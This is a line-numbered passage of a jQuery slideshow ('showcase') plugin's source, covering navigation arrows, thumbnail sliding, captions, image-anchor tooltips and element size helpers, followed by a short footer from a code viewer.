850							jQuery(showcase).find('.showcase-arrow-next')
851							.unbind('click')
852							.click(function() {
853								if (myInterval)
854								{
855									if (options.stoponclick) { pause_loop = true; }
856									clearInterval(myInterval);
857								}
858								changeContent((current_id === content_count-1) ? 0 : parseInt(current_id)+1, 'next');
859							});
860					}
861					
862					// Change active class for thumbnails
863					if (options.thumbnails)
864					{
865						i = 0;
866						showcase.find('.showcase-thumbnail').each(function()
867						{
868							var object = jQuery(this);
869							object.removeClass('active');
870							if (i === current_id) { object.addClass('active'); }
871							i++;
872						});
873					}
874					
875					// If caption is set to 'show'
876					if (options.show_caption === 'show') { jQuery(obj2).find('.showcase-caption').show(); }
877				}
878				
879				// Change active class for buttons
880				if (options.buttons)
881				{
882					i = 0;
883					showcase.find('.showcase-button-wrapper span').each(function()
884					{
885						var object = jQuery(this);
886						object.removeClass('active');
887						if (i === current_id) { object.addClass('active'); }
888						i++;
889					});
890				}
891					
892				// A function that runs on content change, if it exists.
893				if (typeof options.custom_function == 'function')
894				{ 	
895					options.custom_function();
896				}
897			}
898		}
899		
900		function afterAnimation(obj)
901		{
902			if (options.dynamic_height) { content_container.stop(true, true).animate({ height: obj.find('.showcase-content').children().height() }, 200); }
903			animating = false;
904		}
905		
906		// Slide thumbnail wrapper
907		var thumbnailSlidePosition = 0;
908		function slideThumbnailWrapper(direction, check, backwardforward)
909		{
910			var doTheSlide = true;
911			var thumbnailHeightOrWidth = getElementHeight(jQuery(thumb_wrapper).find('.showcase-thumbnail'));
912			if (options.thumbnails_direction === 'horizontal')
913			{
914				thumbnailHeightOrWidth = getElementWidth(jQuery(thumb_wrapper).find('.showcase-thumbnail'));
915			}
916			var multiplySlidePosition = 1;
917			
918			// Set slide x
919			if (options.thumbnails_slidex === 0) { options.thumbnails_slidex = thumbnailsPerPage; }
920			
921			// Check if we need to do the slide
922			if (check)
923			{
924				var thumbnailSlidePositionCopy = thumbnailSlidePosition;
925				var thumbnailsScrolled = 0;
926				while (thumbnailSlidePositionCopy < 0)
927				{
928					if (options.thumbnails_direction === 'horizontal')
929					{
930						thumbnailSlidePositionCopy += getElementWidth(jQuery(thumbnailArray[0]));
931					}
932					else
933					{
934						thumbnailSlidePositionCopy += getElementHeight(jQuery(thumbnailArray[0]));
935					}
936					thumbnailsScrolled++;
937				}
938				
939				var firstVisible = thumbnailsScrolled;
940				var lastVisible = thumbnailsPerPage + thumbnailsScrolled -1;
941				
942				// Check if the next active thumbnail is outside the visible area
943				if (current_id >= firstVisible && current_id <= lastVisible) { doTheSlide = false; }
944				
945				// If the next active thumbnail is far away..
946				var distance;
947				if ((current_id - lastVisible) > options.thumbnails_slidex)
948				{
949					distance = current_id - lastVisible;
950					
951					while (distance > options.thumbnails_slidex)
952					{
953						distance -= options.thumbnails_slidex;
954						multiplySlidePosition++;
955					}
956				}
957				else if ((firstVisible - current_id) > options.thumbnails_slidex)
958				{
959					distance =  firstVisible - current_id;
960					
961					while (distance > options.thumbnails_slidex)
962					{
963						distance -= options.thumbnails_slidex;
964						multiplySlidePosition++;
965					}
966				}
967				else { multiplySlidePosition = 1; }
968			}
969			
970			if (direction === 'forward' && doTheSlide)
971			{
972				if (options.thumbnails_direction === 'vertical' && options.content_height < (thumbnailStretch + thumbnailSlidePosition))
973				{
974					thumbnailSlidePosition -= thumbnailHeightOrWidth * (options.thumbnails_slidex * multiplySlidePosition);
975				}
976				else if (options.thumbnails_direction === 'horizontal' && options.content_width < (thumbnailStretch + thumbnailSlidePosition))
977				{
978					thumbnailSlidePosition -= thumbnailHeightOrWidth * (options.thumbnails_slidex * multiplySlidePosition);
979				}
980				else if (current_id === 0)
981				{
982					if (!backwardforward) { thumbnailSlidePosition = 0; }
983				}
984				if (options.thumbnails_direction === 'horizontal') { thumb_wrapper.animate({ left: thumbnailSlidePosition }, 300); }
985				else { thumb_wrapper.animate({ top: thumbnailSlidePosition }, 300); }
986			}
987			else if (doTheSlide)
988			{
989				if (thumbnailSlidePosition < 0)
990				{
991					thumbnailSlidePosition += thumbnailHeightOrWidth * (options.thumbnails_slidex * multiplySlidePosition);
992				}
993				else if (current_id === content_count-1)
994				{
995					if (!backwardforward)
996					{
997						thumbnailSlidePosition -= thumbnailHeightOrWidth * (options.thumbnails_slidex * multiplySlidePosition);
998					}
999				}
1000				else { thumbnailSlidePosition = 0; }
1001				if (options.thumbnails_direction === 'horizontal') { thumb_wrapper.animate({ left: thumbnailSlidePosition }, 300); }
1002				else { thumb_wrapper.animate({ top: thumbnailSlidePosition }, 300); }
1003			}
1004		}
1005		
1006		// Displays the caption
1007		function displayCaption(container, fadeOut)
1008		{
1009			var caption = container.find('.showcase-caption');
1010			if (!fadeOut)
1011			{
1012				if (options.show_caption === 'onload') { caption.fadeIn(300); }
1013				else if (options.show_caption === 'onhover')
1014				{
1015					jQuery(container).mouseenter(function()
1016					{
1017						caption.fadeIn(300);
1018					});
1019					
1020					jQuery(container).mouseleave(function()
1021					{
1022						caption.stop(true, true).fadeOut(100);
1023					});
1024				}
1025			}
1026			else { caption.stop(true, true).fadeOut(300); }
1027		}
1028		
1029		// Displays the anchors in the current slide
1030		function displayAnchors(container, fadeOut)
1031		{
1032			// Get each anchor tooltip
1033			container.find('.showcase-tooltips a').each(function()
1034			{
1035				if (!fadeOut)
1036				{
1037					// Get coordinates
1038					var coords = jQuery(this).attr('coords');
1039					coords = coords.split(',');
1040					
1041					// Style and position anchor
1042					jQuery(this).addClass('showcase-plus-anchor');
1043					jQuery(this).css('position', 'absolute');
1044					jQuery(this).css('display', 'none');
1045					jQuery(this).css('width', options.tooltip_icon_width);
1046					jQuery(this).css('height', options.tooltip_icon_height);
1047					jQuery(this).css('left', parseInt(coords[0]) - (parseInt(options.tooltip_icon_width)/2));
1048					jQuery(this).css('top', parseInt(coords[1]) - (parseInt(options.tooltip_icon_height)/2));
1049					var content = jQuery(this).html();
1050					jQuery(this).mouseenter(function()
1051					{
1052						animateTooltip(container, coords[0], coords[1], content);
1053					});
1054					jQuery(this).mouseleave(function()
1055					{
1056						animateTooltip(container, coords[0], coords[1], content);
1057					});
1058					jQuery(this).html('');
1059					jQuery(this).fadeIn(300);
1060				}
1061				else
1062				{
1063					jQuery(this).stop(true, true).fadeOut(300);
1064				}
1065			});
1066		}
1067		
1068		// Controls the animation for the tooltips
1069		var tooltip = null;
1070		function animateTooltip(container, x, y, content)
1071		{
1072			// if tooltip is null (doesn't exsist)
1073			if (tooltip === null)
1074			{
1075				// Create the tooltip
1076				tooltip = jQuery(document.createElement('div'))
1077					.addClass('showcase-tooltip')
1078					.css('display', 'none')
1079					.css('position', 'absolute')
1080					.css('max-width', options.tooltip_width)
1081					.html(content);
1082				container.append(tooltip);
1083				
1084				// Position the tooltip (this is where we try not to display the tooltip outside the content wrapper)
1085				var tooltip_paddingx = parseInt(tooltip.css('padding-right'))*2 + parseInt(tooltip.css('border-right-width'))*2;
1086				var tooltip_paddingy = parseInt(tooltip.css('padding-bottom'))*2 + parseInt(tooltip.css('border-bottom-width'))*2;
1087				lastx = parseInt(x) + tooltip.width() + tooltip_paddingx;
1088				lasty = parseInt(y) + tooltip.height() + tooltip_paddingy;
1089				
1090				if (lastx < options.content_width)
1091				{
1092					tooltip.css('left', parseInt(x) + parseInt(options.tooltip_offsetx));
1093				}
1094				else
1095				{
1096					tooltip.css('left', (parseInt(x) - parseInt(options.tooltip_offsetx)) - (parseInt(tooltip.width()) + parseInt(options.tooltip_offsetx)));
1097				}
1098				
1099				if (lasty < options.content_height)
1100				{
1101					tooltip.css('top', parseInt(y) + parseInt(options.tooltip_offsety));
1102				}
1103				else
1104				{
1105					tooltip.css('top', (parseInt(y) - parseInt(options.tooltip_offsety)) - (parseInt(tooltip.height()) + parseInt(tooltip_paddingy)));
1106				}
1107				
1108				// Fade in the tooltip
1109				tooltip.fadeIn(400);
1110			}
1111			else
1112			{
1113				// Fade out the tooltip
1114				tooltip.fadeOut(400);
1115				// Remove it from the DOM
1116				tooltip.remove();
1117				// And set the variable to null
1118				tooltip = null;
1119			}
1120		}
1121		
1122		/* Returns the correct height for the element, including padding and borders. */
1123		function getElementHeight(el, incHeight, incMargin, incPadding, incBorders)
1124		{
1125			incHeight = typeof(incHeight) !== 'undefined' ? incHeight : true;
1126			incMargin = typeof(incMargin) !== 'undefined' ? incMargin : true;
1127			incPadding = typeof(incPadding) !== 'undefined' ? incPadding : true;
1128			incBorders = typeof(incBorders) !== 'undefined' ? incBorders : true;
1129			var elHeight = (incHeight) ? jQuery((el)).height() : 0;
1130			var elMargin = (incMargin) ? parseFloat(jQuery((el)).css('margin-top')) + parseFloat(jQuery(el).css('margin-bottom')) : 0;
1131			var elPadding = (incPadding) ? parseFloat(jQuery((el)).css('padding-top')) + parseFloat(jQuery(el).css('padding-bottom')) : 0;
1132			var elBorder = (incBorders) ? parseFloat(jQuery((el)).css('border-top-width')) + parseFloat(jQuery((el)).css('border-bottom-width')) : 0;
1133			elHeight += elMargin + elPadding + elBorder;
1134			return elHeight;
1135		}
1136		
1137		/* Returns the correct width for the element, including width, margin, padding and borders. */
1138		function getElementWidth(el, incWidth, incMargin, incPadding, incBorders)
1139		{
1140			incWidth = typeof(incWidth) !== 'undefined' ? incWidth : true;
1141			incMargin = typeof(incMargin) !== 'undefined' ? incMargin : true;
1142			incPadding = typeof(incPadding) !== 'undefined' ? incPadding : true;
1143			incBorders = typeof(incBorders) !== 'undefined' ? incBorders : true;
1144			var elWidth = (incWidth) ? jQuery((el)).width() : 0;
1145			var elMargin = (incMargin) ? parseFloat(jQuery((el)).css('margin-left')) + parseFloat(jQuery(el).css('margin-right')) : 0;
1146			var elPadding = (incPadding) ? parseFloat(jQuery((el)).css('padding-left')) + parseFloat(jQuery((el)).css('padding-right')) : 0;
1147			var elBorder = (incBorders) ? parseFloat(jQuery((el)).css('border-left-width')) + parseFloat(jQuery((el)).css('border-right-width')) : 0;
1148			elWidth += elMargin + elPadding + elBorder;
1149			return elWidth;
1150		}
1151		
1152		// Traces the mouse position (used for positioning anchors)
1153		if (options.mousetrace)
1154		{
1155			// Create the div tha displays the coordinates
1156			var mousetrace = jQuery(document.createElement('div'))
1157				.css('position', 'absolute')
1158				.css('top', '0')
1159				.css('background-color', '#fff')
1160				.css('color', '#000')
1161				.css('padding', '3px 5px')
1162				.css('x-index', '30')
1163				.html('X: 0 Y: 0');
1164			showcase.append(mousetrace);
1165			var offset = showcase.offset();
1166			
1167			// Print the coordinates
1168			content_container.mousemove(function(e){ mousetrace.html('X: ' + (e.pageX - offset.left)  + ' Y: ' + (e.pageY - offset.top)); });
1169		}
1170		
1171		// Show all content on one page
1172		$('#awOnePageButton').click(function showInOnePage()
1173		{
1174			if ($('.view-page').is(':visible'))
1175			{
1176				var temp_container = jQuery(document.createElement('div'));
1177				temp_container.addClass('showcase-onepage');
1178				showcase.before(temp_container);
1179				
1180				// Disable auto change on click
1181				if (myInterval) { pause_loop = true; clearInterval(myInterval); }
1182				
1183				$(this).find('.view-page').hide();
1184				$(this).find('.view-slide').show();
1185				showcase.hide();
1186			
1187				$.each(contentArray, function(index, value)
1188				{
1189					obj = getContent(index);
1190					obj.css('position', 'relative');
1191					temp_container.append(obj);
1192					
1193					displayAnchors(obj);
1194					displayCaption(obj);
1195					
1196					if (options.dynamic_height) { obj.css('height', obj.find('.showcase-content').children().height()); }
1197					else { obj.css('height', options.content_height); }
1198				});
1199				
1200				var clear = jQuery(document.createElement('div'));
1201				clear.addClass('clear');
1202				temp_container.append(clear);
1203			}
1204			else
1205			{
1206				$('.showcase-onepage').remove();
1207				$(this).find('.view-page').show();
1208				$(this).find('.view-slide').hide();
1209				showcase.show();
1210			}
1211			
1212			return false;
1213		});
1214		
1215		// The correct width is returned when all content is fully loaded.
1216		var addedContentArray = [];
1217		function updateContentViewlineWidth()
1218		{
1219			content_viewline_width = 0;
1220			content_container.children('div').each(function()
1221			{
1222				content_viewline_width += $(this).find('.showcase-content').children().width();
1223				addedContentArray.push($(this));
1224			});
1225		}
1226		
1227		// Remove loading class
1228		showcase.removeClass('showcase-load');
1229	};
1230
1231})(jQuery);

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.